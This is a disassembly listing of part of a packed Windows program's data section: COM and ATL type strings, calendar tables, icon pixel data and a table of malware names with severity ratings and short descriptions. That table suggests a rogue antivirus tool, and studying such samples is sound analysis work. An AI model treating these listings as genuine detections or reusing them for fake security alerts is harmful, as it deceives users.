20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dd offset dword_41E858+4 dword_42ABF4 dd 0FFFFFFFEh ; sub_40C799+50r ... dword_42ABF8 dd 43h, 0 ; sub_412329:loc_41237Bo ... dword_42AC00 dd 2, 15h dup(0) ; sub_412451+28o ... dd offset dword_42ABF8 dd 3 dup(0) dd offset dword_42ABF8 dd 3 dup(0) dd offset dword_42ABF8 dd 3 dup(0) dd offset dword_42ABF8 dd 3 dup(0) dd offset dword_42ABF8 dd 3 dup(0) dd 2 dup(1), 3 dup(0) dd offset off_42AE00 dd 2 dup(0) off_42ACC8 dd offset asc_41E658 ; DATA XREF: sub_415847+11r ; " ((((( H" dd offset dword_41EA60+80h dd offset dword_41EA60+200h dd offset off_42AD40 off_42ACD8 dd offset dword_42AC00 ; DATA XREF: sub_40C799+28r ; sub_40E22F+ACr ... dd 1 off_42ACE0 dd offset dword_42AC00 ; DATA XREF: sub_40F324+19o dd offset dword_42A6D0 off_42ACE8 dd offset aNull_0 ; DATA XREF: sub_4128E7+453r ; sub_4128E7:loc_412E7Er ; "(null)" off_42ACEC dd offset aNull ; DATA XREF: sub_4128E7+958r ; "(null)" dword_42ACF0 dd 0FB6A12F8h ; sub_418C38+5w dword_42ACF4 dd 0FB6A05D1h dword_42ACF8 dd 0FB6A0465h dword_42ACFC dd 0FB6A042Ch dword_42AD00 dd 0FB6A04BBh dword_42AD04 dd 0FB6A12F8h dword_42AD08 dd 0FB6A1D40h ; sub_418C38+37w dword_42AD0C dd 0FB6A04A7h dword_42AD10 dd 0FB6A0705h ; sub_418C38+4Bw dword_42AD14 dd 0FB6A07B0h ; sub_418C38+55w byte_42AD18 db 3 ; DATA XREF: sub_413B6D+15r ; sub_413B6D:loc_413BA5r align 4 dd 2 dword_42AD20 dd 19930520h, 3 dup(0) ; sub_414715+2o dword_42AD30 dd 2 ; sub_41490D+52r ... dd offset asc_41E658 ; " ((((( H" dd offset dword_41E858+2 align 10h off_42AD40 dd offset aSun ; DATA XREF: sub_4121E0+DCo ; UPX0:0042ACD4o ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" dd offset aTuesday ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday ; "Thursday" dd offset aFriday ; "Friday" dd offset aSaturday ; "Saturday" dd offset aJan ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" dd offset aJun ; "Jun" dd offset aJul ; "Jul" dd offset aAug ; "Aug" dd offset aSep ; "Sep" dd offset aOct ; "Oct" dd offset aNov ; "Nov" dd offset aDec ; "Dec" dd offset aJanuary ; "January" dd offset aFebruary ; "February" dd offset aMarch ; "March" dd offset aApril ; "April" dd offset aMay ; "May" dd offset aJune ; "June" dd offset aJuly ; "July" dd offset aAugust ; "August" dd offset aSeptember ; "September" dd offset aOctober ; "October" dd offset aNovember ; "November" dd offset aDecember ; "December" dd offset aAm ; "AM" dd offset aPm ; "PM" dd offset aMmDdYy ; "MM/dd/yy" dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy" dd offset dword_41EA60+300h dd 409h, 2 dup(1), 42AD40h dword_42ADFC dd 2Eh off_42AE00 dd offset dword_42ADFC ; DATA XREF: sub_4121E0+17o ; sub_41537F+Fr ... off_42AE04 dd offset dword_42EDC4 ; DATA XREF: sub_41537F+21r off_42AE08 dd offset dword_42EDC4 ; DATA XREF: sub_41537F+33r off_42AE0C dd offset dword_42EDC4 ; DATA XREF: sub_4153C4+10r off_42AE10 dd offset dword_42EDC4 ; DATA XREF: sub_4153C4+22r off_42AE14 dd offset dword_42EDC4 ; DATA XREF: sub_4153C4+34r off_42AE18 dd offset dword_42EDC4 ; DATA XREF: sub_4153C4+46r off_42AE1C dd offset dword_42EDC4 ; DATA XREF: sub_4153C4+58r off_42AE20 dd offset dword_42EDC4 ; DATA XREF: sub_4153C4+6Ar off_42AE24 dd offset dword_42EDC4 ; DATA XREF: sub_4153C4+7Cr dd 2 dup(7F7F7F7Fh), 42AE00h, 1, 2Eh, 1 dword_42AE40 dd 0FFFFFFFEh dword_42AE44 dd 0FFFFFFFEh ; sub_41490D:loc_414938r ... align 10h dd 7080h, 1, 0FFFFF1F0h, 0 dword_42AE60 dd 545350h, 0Fh dup(0)dword_42AEA0 dd 544450h, 0Fh dup(0) dd offset dword_42AE60 dd offset dword_42AEA0 dd 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h dd 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh, 14Dh, 16Ch, 2 dup(0) off_42AF70 dd offset off_41D588 ; DATA XREF: UPX0:off_4250F4o ; UPX0:004251B0o align 8 a_?auiaxwinambi db '.?AUIAxWinAmbientDispatch@@',0 off_42AF94 dd offset off_41D588 ; DATA XREF: UPX0:off_425110o ; UPX0:00425170o dd 0 a_?auiaxwinam_0 db '.?AUIAxWinAmbientDispatchEx@@',0 align 10h off_42AFC0 dd offset off_41D588 ; DATA XREF: UPX0:off_42512Co ; UPX0:004251ECo align 8 a_?av?Idispatch db '.?AV?$IDispatchImpl@UIAxWinAmbientDispatchEx@@$1?_GUID_b2d0778b_a' db 'c99_4c58_a5c8_e7724e5316b5@@3U__s_GUID@@B$1?m_libid@CAtlModule@AT' db 'L@@2U_GUID@@A$0PPPP@$0PPPP@VCComTypeInfoHolder@ATL@@@ATL@@',0 align 4 off_42B088 dd offset off_41D588 ; DATA XREF: UPX0:off_425224o ; UPX0:0042525Co align 10h a_?auidochostui db '.?AUIDocHostUIHandler@@',0 off_42B0A8 dd offset off_41D588 ; DATA XREF: UPX0:off_425294o ; UPX0:004252CCo align 10h a_?auiadvisesin db '.?AUIAdviseSink@@',0 align 4 off_42B0C4 dd offset off_41D588 ; DATA XREF: UPX0:off_425304o ; UPX0:0042533Co dd 0 a_?auiservicepr db '.?AUIServiceProvider@@',0 align 4 off_42B0E4 dd offset off_41D588 ; DATA XREF: UPX0:off_425374o ; UPX0:004253CCo dd 0 a_?auiobjectwit db '.?AUIObjectWithSite@@',0 align 4 off_42B104 dd offset off_41D588 ; DATA XREF: UPX0:off_425390o ; UPX0:00425404o dd 0 a_?av?Iobjectwi db '.?AV?$IObjectWithSiteImpl@VCAxHostWindow@ATL@@@ATL@@',0 align 4 off_42B144 dd offset off_41D588 ; DATA XREF: UPX0:off_42543Co ; UPX0:00425494o dd 0 a_?auiparsedisp db '.?AUIParseDisplayName@@',0 off_42B164 dd offset off_41D588 ; DATA XREF: UPX0:off_425458o ; UPX0:004254CCo dd 0 a_?auiolecontai db '.?AUIOleContainer@@',0 off_42B180 dd offset off_41D588 ; DATA XREF: UPX0:off_425504o ; UPX0:0042553Co align 8 a_?auiolecontro db '.?AUIOleControlSite@@',0 align 10h off_42B1A0 dd offset off_41D588 ; DATA XREF: UPX0:off_425590o ; UPX0:0042564Co align 8 a_?auioleinplac db '.?AUIOleInPlaceSite@@',0 align 10h off_42B1C0 dd offset off_41D588 ; DATA XREF: UPX0:off_4255ACo ; UPX0:0042560Co align 8 a_?auioleinpl_0 db '.?AUIOleInPlaceSiteEx@@',0 off_42B1E0 dd offset off_41D588 ; DATA XREF: UPX0:off_4255C8o ; UPX0:00425688o align 8 a_?auioleinpl_1 db '.?AUIOleInPlaceSiteWindowless@@',0 off_42B208 dd offset off_41D588 ; DATA XREF: UPX0:off_4256C0o ; UPX0:004256F8o align 10h a_?auioleclient db '.?AUIOleClientSite@@',0 align 4 off_42B228 dd offset off_41D588 ; DATA XREF: UPX0:off_425730o ; UPX0:00425788o align 10h a_?auiaxwinhost db '.?AUIAxWinHostWindow@@',0 align 4 off_42B248 dd offset off_41D588 ; DATA XREF: UPX0:off_42574Co ; UPX0:004257C0o align 10h a_?auiaxwinho_0 db '.?AUIAxWinHostWindowLic@@',0 align 10h off_42B270 dd offset off_41D588 ; DATA XREF: UPX0:off_4257DCo align 8 a_?av?Cwindowim db '.?AV?$CWindowImpl@VCAxHostWindow@ATL@@VCWindow@2@V?$CWinTraits@$0' db 'FGAAAAAA@$0A@@2@@ATL@@',0 off_42B2D0 dd offset off_41D588 ; DATA XREF: UPX0:off_425858o ; UPX0:0042588Co align 8 a_?av?Ccomcocla db '.?AV?$CComCoClass@VCAxHostWindow@ATL@@$1?GUID_NULL@@3U_GUID@@B@AT' db 'L@@',0 align 10h off_42B320 dd offset off_41D588 ; DATA XREF: UPX0:off_424FF0o align 8 a_?avcaxhostwin db '.?AVCAxHostWindow@ATL@@',0 off_42B340 dd offset off_41D588 ; DATA XREF: UPX0:00424E6Co ; UPX0:00424E80o ... align 8 a_?av?Ccomconta db '.?AV?$CComContainedObject@VCAxHostWindow@ATL@@@ATL@@',0 align 10h off_42B380 dd offset off_41D588 ; DATA XREF: UPX0:off_4250D8o ; UPX0:00425924o ... align 8 a_?auidispatch@ db '.?AUIDispatch@@',0 off_42B398 dd offset off_41D588 ; DATA XREF: UPX0:004259B4o align 10h a_?audwebbrowse db '.?AUDWebBrowserEvents2@@',0 align 10h dd offset off_41D588 align 8 a_?av?Cwindow_0 db '.?AV?$CWindowImpl@VHtmlControl@@VCWindow@ATL@@V?$CWinTraits@$0FGA' db 'AAAAA@$0A@@3@@ATL@@',0 align 10h off_42B420 dd offset off_41D588 ; DATA XREF: UPX0:004258D0o ; UPX0:004258E4o ... align 8 a_?avhtmlcontro db '.?AVHtmlControl@@',0 align 4 off_42B43C dd offset off_41D588 ; DATA XREF: UPX0:00425C9Co dd 0 a_?auienumunkno db '.?AUIEnumUnknown@@',0 align 4 dd offset off_41D588 align 10h a_?av?Ccomenumi db '.?AV?$CComEnumImpl@UIEnumUnknown@@$1?_GUID_00000100_0000_0000_c00' db '0_000000000046@@3U__s_GUID@@BPAUIUnknown@@V?$_CopyInterface@UIUnk' db 'nown@@@ATL@@@ATL@@',0 align 4 off_42B4F8 dd offset off_41D588 ; DATA XREF: UPX0:00425BE0o align 10h a_?av?Ccomenum@ db '.?AV?$CComEnum@UIEnumUnknown@@$1?_GUID_00000100_0000_0000_c000_00' db '0000000046@@3U__s_GUID@@BPAUIUnknown@@V?$_CopyInterface@UIUnknown' db '@@@ATL@@VCComMultiThreadModel@6@@ATL@@',0 align 10h off_42B5B0 dd offset off_41D588 ; DATA XREF: UPX0:00425BA8o ; UPX0:00425CD4o align 8 a_?av?Ccomobjec db '.?AV?$CComObject@V?$CComEnum@UIEnumUnknown@@$1?_GUID_00000100_000' db '0_0000_c000_000000000046@@3U__s_GUID@@BPAUIUnknown@@V?$_CopyInter' db 'face@UIUnknown@@@ATL@@VCComMultiThreadModel@6@@ATL@@@ATL@@',0 align 4 off_42B678 dd offset off_41D588 ; DATA XREF: UPX0:00425DB8o align 10h a_?av?Cwindow_1 db '.?AV?$CWindowImpl@VCAxUIWindow@ATL@@VCWindow@2@V?$CWinTraits@$0FG' db 'AAAAAA@$0A@@2@@ATL@@',0 align 4 off_42B6D8 dd offset off_41D588 ; DATA XREF: UPX0:00425D5Co align 10h a_?avcaxuiwindo db '.?AVCAxUIWindow@ATL@@',0 align 4 off_42B6F8 dd offset off_41D588 ; DATA XREF: UPX0:00425CFCo ; UPX0:00425D10o ... align 10h a_?av?Ccomobj_0 db '.?AV?$CComObject@VCAxUIWindow@ATL@@@ATL@@',0 align 4 off_42B72C dd offset off_41D588 ; DATA XREF: UPX0:off_425574o ; UPX0:00425FB8o dd 0 a_?auiolewindow db '.?AUIOleWindow@@',0 align 4 off_42B748 dd offset off_41D588 ; DATA XREF: UPX0:00425F7Co align 10h a_?auioleinpl_2 db '.?AUIOleInPlaceUIWindow@@',0 align 4 off_42B76C dd offset off_41D588 ; DATA XREF: UPX0:00425FF0o dd 0 a_?auioleinpl_3 db '.?AUIOleInPlaceFrame@@',0 align 4 off_42B78C dd offset off_41D588 ; DATA XREF: UPX0:off_4260CCo dd 0 a_?avcmessagema db '.?AVCMessageMap@ATL@@',0 align 4 off_42B7AC dd offset off_41D588 ; DATA XREF: UPX0:off_426100o ; UPX0:00426134o dd 0 a_?avcwindow@at db '.?AVCWindow@ATL@@',0 align 4 off_42B7C8 dd offset off_41D588 ; DATA XREF: UPX0:off_426090o align 10h a_?av?Cwindow_2 db '.?AV?$CWindowImplRoot@VCWindow@ATL@@@ATL@@',0 align 10h off_42B800 dd offset off_41D588 ; DATA XREF: UPX0:off_426050o align 8 a_?av?Cwindow_3 db '.?AV?$CWindowImplBaseT@VCWindow@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A' db '@@2@@ATL@@',0 align 8 dd offset off_41D588 align 10h a_?av?Cwindow_4 db '.?AV?$CWindowImpl@VCAxFrameWindow@ATL@@VCWindow@2@V?$CWinTraits@$' db '0FGAAAAAA@$0A@@2@@ATL@@',0 align 10h off_42B8C0 dd offset off_41D588 ; DATA XREF: UPX0:004261A4o align 8 a_?av?Ccomobj_1 db '.?AV?$CComObjectRootEx@VCComMultiThreadModel@ATL@@@ATL@@',0 align 4 off_42B904 dd offset off_41D588 ; DATA XREF: UPX0:00425E88o dd 0 a_?avcaxframewi db '.?AVCAxFrameWindow@ATL@@',0 align 4 off_42B928 dd offset off_41D588 ; DATA XREF: UPX0:00425E24o ; UPX0:00425E38o align 10h a_?av?Ccomobj_2 db '.?AV?$CComObject@VCAxFrameWindow@ATL@@@ATL@@',0 align 10h off_42B960 dd offset off_41D588 ; DATA XREF: UPX0:off_425820o ; UPX0:00425C28o ... align 8 a_?avccomobject db '.?AVCComObjectRootBase@ATL@@',0 align 4 off_42B988 dd offset off_41D588 ; DATA XREF: UPX0:off_42583Co ; UPX0:0042629Co align 10h a_?av?Ccomobj_3 db '.?AV?$CComObjectRootEx@VCComSingleThreadModel@ATL@@@ATL@@',0 align 4 off_42B9CC dd offset off_41D588 ; DATA XREF: UPX0:off_4250BCo ; UPX0:off_425208o ... dd 0 dd 55413F2Eh, 6B6E5549h, 6E776F6Eh, 4040h off_42B9E4 dd offset off_41D588 ; DATA XREF: UPX0:004261E8o ; UPX0:004262ECo dd 0 a_?av?Ccompolyo db '.?AV?$CComPolyObject@VCAxHostWindow@ATL@@@ATL@@',0 off_42BA1C dd offset off_41D588 ; DATA XREF: UPX0:00426D78o dd 0 a_?avcatlexcept db '.?AVCAtlException@ATL@@',0 dword_42BA3C dd 2 dup(80000000h), 3 dup(0) dd offset dword_41F0A4 dd offset dword_423A0C dword_42BA58 dd 2Ah dup(0) ; sub_409FB8+A3o ... dd 1000000h, 8000000h, 8 dup(0) dd 2000000h, 14h dup(0) dd 2000000h, 0E000000h, 26000000h, 0AD7D7D7Dh, 0E8A0A0A0h dd 0FF868990h, 0FF6C7383h, 0FC8F949Fh, 0F3B7B7B8h, 0CE9D9D99h dd 36040404h, 10000000h, 4000000h, 11h dup(0) dd 3000000h, 15000000h, 0 dd 0A980807Eh, 0D9ABABABh, 0FE344463h, 0FF314363h, 0FF324161h dd 0FF2C3D60h, 0FF334368h, 0FF314265h, 0FF2D3F62h, 0F9B9BBBFh dd 0CDA6A5A4h, 2 dup(0) dd 5000000h, 0Eh dup(0) dd 2000000h, 11000000h, 0 dd 0C5928E8Eh, 0EE9FA1A7h, 0FB4A5972h, 0FF314467h, 0FF263A5Dh dd 0FF192B51h, 0FF162A55h, 0FF1B2E5Ah, 0FF243761h, 0FF2F4267h dd 0FF3A4A6Bh, 0FDA3A8B2h, 0DABCB8B6h, 10h dup(0) dd 0C000000h, 0 dd 0CE93928Fh, 0F79699A4h, 0FF6885A6h, 0FF2A4167h, 0FF1F345Dh dd 0FF192F59h, 0FF1A305Ah, 0FF1F3562h, 0FF1F3565h, 0FF1B3260h dd 0FF1E3360h, 0FF243762h, 0FF263861h, 0FF9299A7h, 0E7C0BCBAh dd 10h dup(0) ; --------------------------------------------------------------------------- add dword ptr [ebx-42423D7Dh], 0FFFFFFBFh stc movsd popf cwde push dword ptr [ecx-5900615Ah] test [eax-1], ebp db 66h cmp [edi], bl jmp dword ptr [edi+3Ah] ; --------------------------------------------------------------------------- and bh, bh push 6EFF2139h db 3Eh and al, 0FFh jno short near ptr word_42BDDA and eax, 233D6DFFh jmp fword ptr [ecx+3Ah] ; --------------------------------------------------------------------------- and edi, edi db 66h cmp [ebx], ah jmp dword ptr [ebx+36h] ; --------------------------------------------------------------------------- and edi, edi pop esi xor bl, [edi] jmp dword ptr [edi-4D006F69h] ; --------------------------------------------------------------------------- db 0B4h, 0B5h, 0DBh dd 8 dup(0) db 2 dup(0) word_42BDDA dw 0 ; CODE XREF: UPX0:0042BD98j dd 4 dup(0) dd 2000000h, 0A76F6F6Fh, 0F2BABABAh, 0FFB6B5B6h, 0FFBCBBB8h dd 0FFA3A7ABh, 0FF9EA6B1h, 0FF6885A6h, 0FF284372h, 0FF284371h dd 0FF2A477Ah, 0FF2B497Dh, 0FF29467Ah, 0FF284376h, 0FF223B6Ch dd 0FF223B69h, 0FF1D3462h, 0FF1D325Fh, 0FB9FA2AEh, 0B99E9D9Ah dd 4000000h, 0Bh dup(0) dd 11000000h, 0E7B7B7B7h, 0FEB6B6B6h, 0FFB4B4B4h, 0FFB3B3B3h dd 0FFBBBAB7h, 0FFB1B1B2h, 0FF9EA6B1h, 0FF6885A6h, 0FF2F4C78h dd 0FF325081h, 0FF325285h, 0FF2F4F83h, 0FF2D4C82h, 0FF284579h dd 0FF264072h, 0FF233C6Ch, 0FF162F60h, 0FF2C3F6Ah, 0EABBBCC3h dd 16000000h, 1000000h, 9 dup(0) dd 3000000h, 4E1A1A1Ah, 0F9BFBFBFh, 3 dup(0FFB7B7B7h) dd 0FFB6B6B6h, 0FFBDBCB9h, 2 dup(0FF9EA6B1h), 0FF6885A6h dd 0FF3B5A87h, 0FF3B5B8Bh, 0FF385889h, 0FF355587h, 0FF2E4E82h dd 0FF2A487Eh, 0FF274376h, 0FF243F6Fh, 0FF152F60h, 0FA546384h dd 0FCCCCED3h, 0FACED0D5h, 8 dup(0) dd 1000000h, 2 dup(0FFCECECEh), 0FFBDBDBDh, 5 dup(0FFBEBEBEh) dd 0FFC0BFBFh, 0FFC8C6C3h, 0FF9EA6B1h, 0FF6885A6h, 0FF466995h dd 0FF4B6C96h, 0FF476894h, 0FF3E5E8Eh, 0FF375989h, 0FF325287h dd 0FF2C4C82h, 0FF284579h, 0FF1A356Ah, 0E7C6C6CAh, 0FACED0D5h dd 2000000h, 7 dup(0) dd 13000000h, 0FFCDCDCDh, 0FFCECECEh, 8 dup(0FFC1C1C1h) dd 0FFCCC9C5h, 0FFB6BCC2h, 0FF6885A6h, 0FF4B6F99h, 0FF507199h dd 0FF466593h, 0FF3F6190h, 0FF385A8Dh, 0FF325389h, 0FF2C4B82h dd 0FF264278h, 0FF9AA5B6h, 0FECCCED3h, 8 dup(0) dd 3 dup(0FFCECECEh), 8 dup(0FFC4C4C4h), 0FFC3C3C3h, 0FFD4D3D0h dd 0FFC8CBCEh, 0FF7691AEh, 0FF4D729Dh, 0FF4D6D99h, 0FF466796h dd 0FF3F6091h, 0FF38598Dh, 0FF305188h, 0FF2C4B81h, 0FF56698Fh dd 0ECC4C3C2h, 8 dup(0) dd 3 dup(0FFCECECEh), 8 dup(0FFC9C9C9h), 0FFC8C8C8h, 0FFCFCFD0h dd 0FFDCDAD7h, 0FFD2D4D4h, 0FF879EB6h, 0FF52749Eh, 0FF4D6F9Ah dd 0FF456696h, 0FF3E5F92h, 0FF36578Dh, 0FF305087h, 0FF294476h dd 0FDBDC0C8h, 0FACED0D5h, 7 dup(0) dd 3 dup(0FFCECECEh), 9 dup(0FFCCCCCCh), 0FFD2D2D2h, 0FFD5D5D5h dd 0FFDBD9D7h, 0FFDAD8D7h, 0FF879EB6h, 0FF4E739Eh, 0FF4C6D9Ah dd 0FF426595h, 0FF3A5C91h, 0FF33548Ch, 0FF1B3970h, 0FF96A2B7h dd 0FACED0D5h, 7 dup(0) dd 3 dup(0FFCECECEh), 9 dup(0FFCFCFCFh), 0FFD5D5D5h, 2 dup(0FFD8D8D8h) dd 0FFDCDBDBh, 0FFDAD8D7h, 0FF879EB6h, 0FF4A6E9Dh, 0FF486A99h dd 0FF3F6194h, 0FF365890h, 0FF1A3973h, 0FF6D7EA1h, 0D4BEBBBAh dd 7 dup(0) dd 0FEBBBDBFh, 0FF5574A4h, 0FFEAF0F8h, 2 dup(0FFD5D5D5h) dd 0FFD6D6D6h, 6 dup(0FFD5D5D5h), 0FFDADADAh, 4 dup(0FFDDDDDDh) dd 0FFE8E5E2h, 0FF879EB6h, 0FF4A6E9Dh, 0FF3C6097h, 0FF3B5E97h dd 0FF24447Fh, 0FF3B5686h, 0FACED0D5h, 7 dup(0) dd 0FFBCBEC1h, 0FF5574A4h, 0FF2F5696h, 0FFEAF0F8h, 0FFDEDEDEh dd 3 dup(0FFE0E0E0h), 0FFDEDEDEh, 3 dup(0FFDFDFDFh), 0FFDEDEDEh dd 5 dup(0FFDDDDDDh), 0FFE6E5E1h, 0FF879EB6h, 0FF4A6E9Dh dd 0FF325792h, 0FF274882h, 0FF314D81h, 0FFC6CBD2h, 7 dup(0) dd 0FFBDBFC1h, 0FF5C7CAEh, 0FF2F5696h, 0FF446AA2h, 0FFEAF0F8h dd 0FFE9E9EAh, 0FFECECECh, 0FFEBEBEBh, 0FFE9E9E9h, 0FFE8E8E8h dd 2 dup(0FFE9E9E9h), 0FFE2E2E2h, 5 dup(0FFDDDDDDh), 0FFDCDCDDh dd 0FFE6E4E0h, 0FF879EB6h, 0FF4A6E9Dh, 0FF254683h, 0FF2D497Eh dd 0FFC0C6D1h, 7 dup(0) ; --------------------------------------------------------------------------- sar dword ptr [edi-7C4C0043h], 62h jmp dword ptr [edx-5B00BB96h] ; --------------------------------------------------------------------------- db 6Ah, 43h, 0FFh dd 0FF688BB8h, 0FFEAF0F8h, 2 dup(0FFEEEEEEh), 0FFEFEFEFh dd 0FFECECECh, 2 dup(0FFEBEBEBh), 0FFE5E5E5h, 6 dup(0FFE1E1E1h) dd 0FFE0E0E0h, 0FFE7E6E3h, 0FF879EB6h, 0FF1D407Fh, 0FF25427Bh dd 0FFC7CDD6h, 7 dup(0) ; --------------------------------------------------------------------------- sar dword ptr [edi-79480043h], 65h jmp fword ptr [edx-5B00B18Ch] ; --------------------------------------------------------------------------- db 6Ah, 43h, 0FFh dd 0FF6788B5h, 0FF688BB8h, 0FFEAF0F8h, 0FFF2F1F1h, 2 dup(0FFF2F2F2h) dd 0FFF0F0F0h, 0FFEFEFEFh, 0FFE7E7E7h, 8 dup(0FFE3E3E3h) dd 0FFE9E8E6h, 0FF94A2BBh, 0FE28477Eh, 0FFC2C8D5h, 7 dup(0) dd 0FFBDBFC2h, 0FE6D8DBBh, 0FF537DB0h, 0FF5B80B2h, 0FF5078AEh dd 0FF688BB8h, 0FF9EBADCh, 0FFEAF0F8h, 0FFF6F7F6h, 2 dup(0FFF8F8F8h) dd 0FFF7F7F7h, 0FFEEEEEEh, 3 dup(0FFE7E7E7h), 5 dup(0FFE8E8E8h) dd 0FFE7E7E8h, 0FFF4F3EFh, 0FFB2BBCCh, 0FFD5DAE2h, 7 dup(0) dd 0FFBEC0C2h, 0FF7BA0CAh, 0FF648EBEh, 0FF6C93C1h, 0FF6E95C2h dd 0FF7197C2h, 0FF6D93C1h, 0FF6F93C2h, 0FFEAF0F8h, 0FFFFFFFEh dd 2 dup(0FFFEFEFEh), 0FFFBFBFBh, 3 dup(0FFF9F9F9h), 0FFF5F5F5h dd 0FFF2F2F2h, 0FFF0F0F0h, 2 dup(0FFEFEFEFh), 2 dup(0FFEEEEEEh) dd 0FEEEEEEEh, 0FFFCFCFCh, 7 dup(0) dd 0FFBEC0C2h, 0FF82A9D0h, 0FF6C97C4h, 0FF759CC7h, 0FF779EC8h dd 0FF799EC9h, 0FF7CA1CAh, 0FF7B9EC9h, 0FF769BC7h, 0FFEAF0F8h dd 2 dup(0FFFFFFFFh), 0FFFCFCFCh, 0FFFAFAFAh, 0FFFBFBFBh dd 0FFFCFCFCh, 2 dup(0FFFEFEFEh), 0FFFDFDFDh, 0FFFCFCFCh dd 0FFFBFBFBh, 0FFFAFAFAh, 0FFF8F8F8h, 0FFF9F9F9h, 0FFFFFFFFh dd 7 dup(0) dd 0FFBEC0C2h, 0FF8AB1D7h, 0FF75A1CBh, 0FF7FA7CFh, 2 dup(0FF82A8D0h) dd 0FF84A8D0h, 0FF85A8D0h, 0FF85A7D0h, 0FFA5BEDBh, 0FFEAF0F8h dd 0FFFFFFFFh, 0FFFEFEFDh, 3 dup(0FFFDFDFDh), 9 dup(0FFFFFFFFh) dd 7 dup(0) dd 0FFBEC0C2h, 0FF92BADCh, 0FF7EABD2h, 0FF87B0D6h, 0FF89B1D5h dd 0FF8AB1D5h, 0FF8CB1D5h, 0FF8CB0D5h, 0FF8EAFD6h, 0FF87A8D1h dd 0FFA2BBDBh, 0FFEAF0F8h, 0Dh dup(0FFFFFFFFh), 7 dup(0) dd 0FEBEC0C2h, 0FF99C2E2h, 0FF88B6DAh, 0FF91BADCh, 2 dup(0FF93B9DCh) dd 2 dup(0FF94B8DBh), 0FF94B6DAh, 0FF97B6DAh, 0FF8FAFD6h dd 0FF9EBADCh, 0FFE1E9F5h, 0Ch dup(0FFFFFFFFh), 7 dup(0) dd 0FEBEC0C2h, 0FFA0CAE6h, 0FF91BEDEh, 0FF98C1E0h, 0FF99C0E0h dd 0FF99BFDFh, 0FF9ABEDFh, 0FF9ABEDEh, 0FF9ABCDDh, 0FF9CBADCh dd 0FF9DBADCh, 0FF97B5D9h, 0FF9EB8DBh, 0FFDAE3F0h, 0Bh dup(0FFFFFFFFh) dd 7 dup(0) dd 0FEBEC0C2h, 0FFA7D0E9h, 0FF9AC6E3h, 0FFA0C9E4h, 0FFA0C7E3h dd 0FFA1C6E2h, 0FFA0C4E1h, 0FFA0C3E1h, 0FFA0C1E0h, 0FFA2BFDFh dd 0FFA1BEDFh, 0FFA3BEDEh, 0FF9FBADCh, 0FFA1BBDCh, 0FFD2DFEFh dd 0FFFEFEFFh, 9 dup(0FFFFFFFFh), 7 dup(0) dd 0FEBEC0C2h, 0FFEAFAFFh, 0FFCDEDFCh, 0FFD0ECFBh, 0FFCFEAFBh dd 0FFCFE9FAh, 0FFCEE7F8h, 0FFCDE6F8h, 0FFCCE4F7h, 0FFCCE1F6h dd 0FFCDE1F6h, 0FFCEDFF6h, 0FFCEDFF5h, 0FFD0E0F5h, 0FFCEDEF4h dd 0FFCADBF3h, 9 dup(0FFFFFFFFh), 7 dup(0) aOooi db 'ŽŽŽˆ´´·¹°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°°¶¯' db '¯¬¶¬¬¬¶¬¬¬¶¬¬¬¶¬¬¬¶¬¬¬¶¬¬¬¶°°°¹§§§©',0 align 4 dd 23h dup(0) dword_42CA58 dd 400h dup(0FFFFFFh) ; sub_409FB8+6Eo ... off_42DA58 dd offset aLdpinchV ; DATA XREF: sub_4098E0+21Fr ; "LdPinch V" off_42DA5C dd offset aCritical ; DATA XREF: sub_4098E0+219r ; "Critical" off_42DA60 dd offset aAVariantOfTheK ; DATA XREF: sub_4098E0+213r ; "A variant of the Key Logger that captur"... dd offset aAdvancedStealt ; "Advanced Stealth Email Redirector 6.2" dd offset aCritical_0 ; "Critical" dd offset aAdvancedStea_0 ; "Advanced Stealth Email Redirector (Adva"... dd offset aVmalumAws ; "VMalum AWS" dd offset aHigh ; "High" dd offset aTrojanAnyProgr ; "Trojan: Any program with a hidden inte"... dd offset aCnnicUpdateU ; "CNNIC Update U" dd offset aVeryHigh ; "Very high" dd offset aAProgramThatDo ; "A program that downloads and may execut"... dd offset aBancosDmd ; "Bancos DMD" dd offset aCritical_1 ; "Critical" dd offset aAVariantOfTh_0 ; "A variant of the Key Logger that captur"... dd offset aWin32_grams_i ; "Win32.Grams.I" dd offset aCritical_2 ; "Critical" dd offset aWin32_grams_iI ; "Win32.Grams.I is a trojan that attempts"... dd offset aZlobAn ; "Zlob AN" dd offset aVeryHigh_0 ; "Very high" dd offset aAProgramThat_0 ; "A program that downloads and may execut"... dd offset aSillydlBcl ; "SillyDl BCL" dd offset aVeryHigh_1 ; "Very High" dd offset aAProgramThat_1 ; "A program that downloads and may execut"... dd offset aCpush ; "CPush" dd offset aMedium ; "Medium" dd offset aCategoryAdware ; "Category Adware: Software that display"... dd offset aWin32Wadnock ; "Win32/Wadnock" dd offset aHigh_0 ; "High" dd offset aWin32WadnockAr ; "Win32/Wadnock are a family of worms tha"... dd offset aBestSearch ; "Best search" dd offset aMedium_0 ; "Medium" dd offset aCategoryAdwa_0 ; "Category Adware: Software that display"... dd offset aWin32Nuqel_e ; "Win32/Nuqel.E" dd offset aHigh_1 ; "High" dd offset aWin32Nuqel_eIs ; "Win32/Nuqel.E is a worm that spreads vi"... dd offset aEdgeTech ; "Edge Tech" 